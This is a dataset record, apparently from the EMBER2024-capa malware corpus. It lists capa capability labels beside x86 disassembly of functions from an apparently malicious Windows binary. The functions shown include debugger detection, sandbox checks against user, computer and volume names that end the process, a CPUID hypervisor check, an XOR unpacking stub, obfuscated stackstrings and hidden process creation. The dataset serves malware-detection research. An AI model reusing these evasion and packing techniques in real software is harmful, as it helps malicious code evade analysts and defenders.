joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405be3
Capabilities:
Delete directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
xor esi, esi
cmp dword [0xc7205c], 0x594
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], eax
jne 0x405c24
push esi
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0x405840
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
mov eax, dword [0x80f6f8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x80f6fc]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
call fcn.00405bd9
mov eax, dword [0x80f700]
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x80f704]
add ebx, 0x23f
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x20
jmp 0x405c64
mov edi, dword [ebp - 0x14]
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, edi
shl eax, 4
cmp dword [0xc7205c], 0xc
mov dword [ebp - 4], eax
jne 0x405ca2
push esi
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x2c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0xc7205c]
cmp eax, 0xfa9
jne 0x405cbe
mov dword [0xc72058], 0xedeb2e40
cmp eax, 0x3eb
jne 0x405ccb
mov dword [0xc4b1f8], esi
mov ecx, dword [ebp - 8]
lea eax, [ebx + edi]
shr edi, cl
mov dword [ebp - 0x10], eax
mov dword [0xc72054], 0xf4ea3dee
add edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
xor edi, dword [ebp - 4]
cmp dword [0xc7205c], 0x213
mov dword [ebp - 0x10], edi
jne 0x405d03
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
cmp dword [0xc7205c], 0xc
jne 0x405d43
lea eax, [ebp - 0x10]
push eax
push esi
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_BackupRead]
push esi
lea eax, [ebp - 0x430]
push eax
push 0x405850
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov eax, edx
shr eax, cl
lea edi, [ebx + edx]
add eax, dword [ebp - 0x20]
xor eax, edi
xor dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x14]
call fcn.00405be0
add ebx, 0x61c88647
dec dword [ebp - 0x18]
jne 0x405c61
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov dword [eax + 4], edx
pop ebx
leave
ret 4
Function at 0x405d93
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xc7205c]
mov ecx, dword [0xc4b1fc]
sub esp, 0xa7c
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x405e47
mov ebx, ecx
mov dword [ebp - 8], eax
cmp dword [0xc7205c], 0x959
jne 0x405e35
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push esi
push esi
lea eax, [ebp - 0xa78]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x278]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push ebx
call fcn.00405be3
add ebx, 8
dec dword [ebp - 8]
jne 0x405dbc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4096de
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x80e6b0]
jne 0x4096e8
repz ret
jmp fcn.0040f64e

Function at 0x411514
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408033
and dword [ebp - 4], 0
cmp dword [0x810aec], 0
mov ebx, eax
jne 0x4115c5
push 0x4057b4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x411676
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4057a8
push edi
call esi
test eax, eax
je 0x411676
push eax
call fcn.00407fc1
mov dword [esp], 0x405798
push edi
mov dword [0x810aec], eax
call esi
push eax
call fcn.00407fc1
mov dword [esp], 0x405784
push edi
mov dword [0x810af0], eax
call esi
push eax
call fcn.00407fc1
mov dword [esp], 0x405768
push edi
mov dword [0x810af4], eax
call esi
push eax
call fcn.00407fc1
pop ecx
mov dword [0x810afc], eax
test eax, eax
je 0x4115c5
push 0x405750
push edi
call esi
push eax
call fcn.00407fc1
pop ecx
mov dword [0x810af8], eax
mov eax, dword [0x810af8]
cmp eax, ebx
je 0x41161d
cmp dword [0x810afc], ebx
je 0x41161d
push eax
call fcn.0040803c
push dword [0x810afc]
mov esi, eax
call fcn.0040803c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41161d
test edi, edi
je 0x41161d
call esi
test eax, eax
je 0x411614
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x411614
test byte [ebp - 0xc], 1
jne 0x41161d
or dword [ebp + 0x10], 0x200000
jmp 0x411656
mov eax, dword [0x810af0]
cmp eax, ebx
je 0x411656
push eax
call fcn.0040803c
pop ecx
test eax, eax
je 0x411656
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x411656
mov eax, dword [0x810af4]
cmp eax, ebx
je 0x411656
push eax
call fcn.0040803c
pop ecx
test eax, eax
je 0x411656
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x810aec]
call fcn.0040803c
pop ecx
test eax, eax
je 0x411676
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x411678
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x402220
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f5c1e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
xor esi, esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], 1
test eax, eax
je 0x4023e4
dec eax
mov dword [ebp + 8], eax
mov al, byte [edx]
inc edx
mov byte [ebp + esi - 0x14], al
inc esi
mov ah, byte [ebp - 0x12]
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0xf], ah
mov byte [ebp - 0xd], ch
mov byte [ebp - 0xe], cl
cmp esi, 3
jne 0x402325
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shl cl, 4
shr al, 4
add cl, al
mov al, ah
mov byte [ebp - 0x17], cl
and ah, 0x3f
mov cl, ch
shr al, 6
and cl, 0xf
mov byte [ebp - 0x15], ah
shl cl, 2
add cl, al
xor esi, esi
mov byte [ebp - 0x16], cl
nop dword [eax + eax]
cmp dword [0x538b70], 0x10
mov ecx, 0x538b5c
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x538b5c]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.00402910
inc esi
cmp esi, 4
jl 0x4022f0
mov edx, dword [ebp - 0x1c]
xor esi, esi
mov ch, byte [ebp - 0xd]
mov cl, byte [ebp - 0xe]
mov eax, dword [ebp + 8]
test eax, eax
jne 0x402290
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x4023e4
mov eax, 3
sub eax, esi
mov dword [ebp + 8], eax
cmp esi, 3
jge 0x402366
push eax
lea eax, [ebp - 0x14]
add eax, esi
push 0
push eax
call fcn.004d1ee0
mov dl, byte [ebp - 0x12]
add esp, 0xc
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
jmp 0x402369
mov dl, byte [ebp - 0xf]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shr al, 4
and ch, 0xf
shl cl, 4
add cl, al
shl ch, 2
mov al, dl
mov byte [ebp - 0x17], cl
shr al, 6
and dl, 0x3f
add ch, al
mov byte [ebp - 0x15], dl
lea eax, [esi + 1]
mov byte [ebp - 0x16], ch
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x4023d0
xor esi, esi
cmp dword [0x538b70], 0x10
mov ecx, 0x538b5c
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x538b5c]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.00402910
inc esi
cmp esi, dword [ebp - 0x14]
jl 0x4023a3
mov esi, dword [ebp - 0x1c]
cmp esi, 3
jge 0x4023e4
push 0x3d
mov ecx, edi
call fcn.00402910
sub dword [ebp + 8], 1
jne 0x4023d5
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x403980
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f5e8f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.004b85fd
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
mov byte [ebp - 4], 2
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov byte [ebp - 4], 3
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov byte [ebp - 4], 4
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov byte [ebp - 4], 5
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
mov eax, dword [ebp + 8]
test eax, eax
je 0x403a26
push eax
push esi
call fcn.004b893e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.004b7ee0
int3
Function at 0x40a460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
movaps xmm0, xmmword [0x526640]
mov dword [ebp - 0xc], ecx
xor ecx, ecx
movups xmmword [ebp - 0x2f], xmm0
mov dword [ebp - 0x1f], 0x2b273825
mov dword [ebp - 0x1b], 0x2425233e
mov byte [ebp - 0x17], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x2f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x18
jb 0x40a490
mov dword [ebp - 0x16], 0x262e3e24
xor ecx, ecx
mov dword [ebp - 0x12], 0x262e6426
mov word [ebp - 0xe], 0x26
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x16]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x16], al
inc ecx
cmp ecx, 9
jb 0x40a4c0
push ebx
push esi
push edi
lea eax, [ebp - 0x16]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor edi, edi
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 4], eax
test eax, eax
je 0x40a586
mov esi, dword [0x5394e4]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push esi
mov edi, eax
push edi
push 0x40
call ebx
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapFree]
cmp ebx, 0xc0000004
jne 0x40a567
nop dword [eax]
mov ebx, dword [ebp - 4]
push edi
push 0
push ebx
call eax
add esi, esi
cmp esi, 0x10000000
ja 0x40a57c
push esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push esi
mov edi, eax
push edi
push 0x40
call dword [ebp - 8]
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapFree]
cmp ebx, 0xc0000004
je 0x40a530
test ebx, ebx
jns 0x40a58c
push edi
push 0
push dword [ebp - 4]
call eax
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov eax, dword [0x5394e4]
cmp esi, 0x200000
cmovbe eax, esi
mov dword [0x5394e4], eax
mov eax, dword [ebp - 0xc]
mov dword [eax], edi
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b4c0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f7516
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 0x18], 1
xor ecx, ecx
mov word [ebp - 0xf], 0x2838
mov byte [ebp - 0xd], 0
nop
movzx eax, byte [ebp + ecx - 0xf]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xf], al
inc ecx
cmp ecx, 2
jb 0x40b530
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0xf]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.004d5d50
mov edi, eax
add esp, 8
test edi, edi
je 0x40b5cc
push 2
push 0
push edi
call fcn.004d9b26
push edi
call fcn.004d58db
push 0
push 0
push edi
mov dword [ebp - 0x14], eax
call fcn.004d9b26
mov ecx, dword [esi + 0x10]
add esp, 0x1c
mov eax, dword [ebp - 0x14]
cmp eax, ecx
ja 0x40b5a0
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x40b597
mov ecx, dword [esi]
mov dword [esi + 0x10], eax
mov byte [ecx + eax], 0
jmp 0x40b5af
sub eax, ecx
mov ecx, esi
push 0
push eax
call fcn.00461900
mov eax, dword [ebp - 0x14]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x40b5b9
mov ecx, dword [esi]
push edi
push eax
push 1
push ecx
call fcn.004de5cf
push edi
call fcn.004d95d8
add esp, 0x14
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x40b930
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
test ecx, ecx
je 0x40b978
mov edx, ecx
push esi
lea esi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x40b940
sub edx, esi
pop esi
je 0x40b978
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40b972
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40b972
cmp eax, 0x20
je 0x40b972
cmp eax, 0x45
je 0x40b972
cmp eax, 0x24
jne 0x40b978
mov al, 1
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x414890
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4148d0
Capabilities:
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push 0x100
lea eax, [ebp - 0x110]
mov dword [ebp - 0xc], 0x100
push 0
push eax
mov dword [ebp - 0x10], 0x100
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 8], 0x24222500
xor ecx, ecx
mov dword [ebp - 4], 0x2f250e
movzx eax, byte [ebp + ecx - 8]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 7
jb 0x414945
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.004d1390
add esp, 8
test eax, eax
jne 0x4149b5
mov dword [ebp - 7], 0x73060b02
xor ecx, ecx
mov word [ebp - 3], 0x21e
mov byte [ebp - 1], al
movzx eax, byte [ebp + ecx - 7]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 7], al
inc ecx
cmp ecx, 6
jb 0x414983
lea eax, [ebp - 7]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004d1390
add esp, 8
test eax, eax
jne 0x4149b5
xor al, al
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x414a10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x10]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x10], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [ebp - 8]
shr ebx, 0x1f
and bl, 1
mov dword [ebp - 0xd], 0x24382f21
mov dword [ebp - 9], 0x7879262f
xor ecx, ecx
mov dword [ebp - 5], 0x26262e64
mov byte [ebp - 1], 0
nop
movzx eax, byte [ebp + ecx - 0xd]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 0xc
jb 0x414a60
lea eax, [ebp - 0xd]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
movzx ecx, bl
mov eax, 1
pop edi
cmove ecx, eax
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414d20
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x414d42
push 0x15
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x414d44
mov bl, 1
mov dword [ebp - 0x10], 0x167009
xor ecx, ecx
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x10]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 3
jb 0x414d50
push 0x105
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
push 0x105
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x414ec0
mov dword [ebp - 0xa], 0x3225081c
xor ecx, ecx
mov dword [ebp - 6], 0x3c380e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xa]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xa], al
inc ecx
cmp ecx, 7
jb 0x414db0
lea ecx, [ebp - 0xa]
lea eax, [ebp - 0x120]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414df0
test dl, dl
je 0x414dec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414df0
add eax, 2
add ecx, 2
test dl, dl
jne 0x414dd0
xor eax, eax
jmp 0x414df5
sbb eax, eax
or eax, 1
test eax, eax
je 0x414eb9
mov dword [ebp - 9], 0x3225081c
xor ecx, ecx
mov word [ebp - 5], 0xc19
mov byte [ebp - 3], 0
movzx eax, byte [ebp + ecx - 9]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 6
jb 0x414e10
lea ecx, [ebp - 9]
lea eax, [ebp - 0x120]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414e50
test dl, dl
je 0x414e4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414e50
add eax, 2
add ecx, 2
test dl, dl
jne 0x414e30
xor eax, eax
jmp 0x414e55
sbb eax, eax
or eax, 1
test eax, eax
je 0x414eb9
mov dword [ebp - 0xc], 0x3225081c
xor ecx, ecx
mov dword [ebp - 8], 0x392f3f0d
mov word [ebp - 4], 0x3e
nop
movzx eax, byte [ebp + ecx - 0xc]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xc], al
inc ecx
cmp ecx, 9
jb 0x414e70
lea ecx, [ebp - 0xc]
lea eax, [ebp - 0x120]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414eb0
test dl, dl
je 0x414eac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414eb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x414e90
xor eax, eax
jmp 0x414eb5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x414ec0
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f86ab
push eax
mov dword fs:[0], esp
sub esp, 0x11c
mov eax, dword [0x53b560]
push edi
mov edi, ecx
test al, 1
jne 0x41607d
or eax, 1
mov dword [0x53b560], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [0x53b56c], xmm0
mov eax, 0x2f5c
mov dword [0x53b57c], 2
push 0x5040c0
mov dword [0x53b580], 0xf
mov word [0x53b56c], ax
mov byte [0x53b56e], 0
call fcn.004b9c9c
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x416087
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41618f
cmp dword [0x53b580], 0x10
mov ecx, dword [edi + 0x10]
push esi
mov esi, 0x53b56c
mov dword [ebp - 0x10], edi
cmovae esi, dword [0x53b56c]
cmp dword [edi + 0x14], 0x10
jb 0x4160bc
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
cmp dword [0x53b57c], 0
je 0x416169
test ecx, ecx
je 0x416169
push 0x100
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.004d1ee0
mov ecx, dword [0x53b57c]
add esp, 0xc
add ecx, esi
cmp esi, ecx
je 0x416103
movzx eax, byte [esi]
inc esi
mov byte [ebp + eax - 0x128], 1
cmp esi, ecx
jne 0x4160f3
mov eax, dword [edi + 0x10]
or ecx, 0xffffffff
mov edx, dword [ebp - 0x10]
dec eax
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + edx]
add ecx, edx
mov al, byte [ebp + eax - 0x128]
test al, al
jne 0x416137
cmp ecx, edx
je 0x416169
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [ebp + eax - 0x128]
test al, al
je 0x416123
sub ecx, edx
cmp ecx, 0xffffffff
je 0x416169
push ecx
push 0
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.0045ee40
mov dword [ebp - 4], 1
mov ecx, eax
call fcn.00416000
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00402890
cmp dword [edi + 0x14], 0x10
pop esi
jb 0x416172
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
pop edi
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x416250
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
lea eax, [ebp - 0x54]
mov esi, ecx
push 0
push eax
call fcn.004d1ee0
add esp, 0xc
mov dword [ebp - 0x54], 0x44
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
movups xmmword [ebp - 0x10], xmm0
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop esi
test eax, eax
je 0x4162ad
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, ebp
pop ebp
ret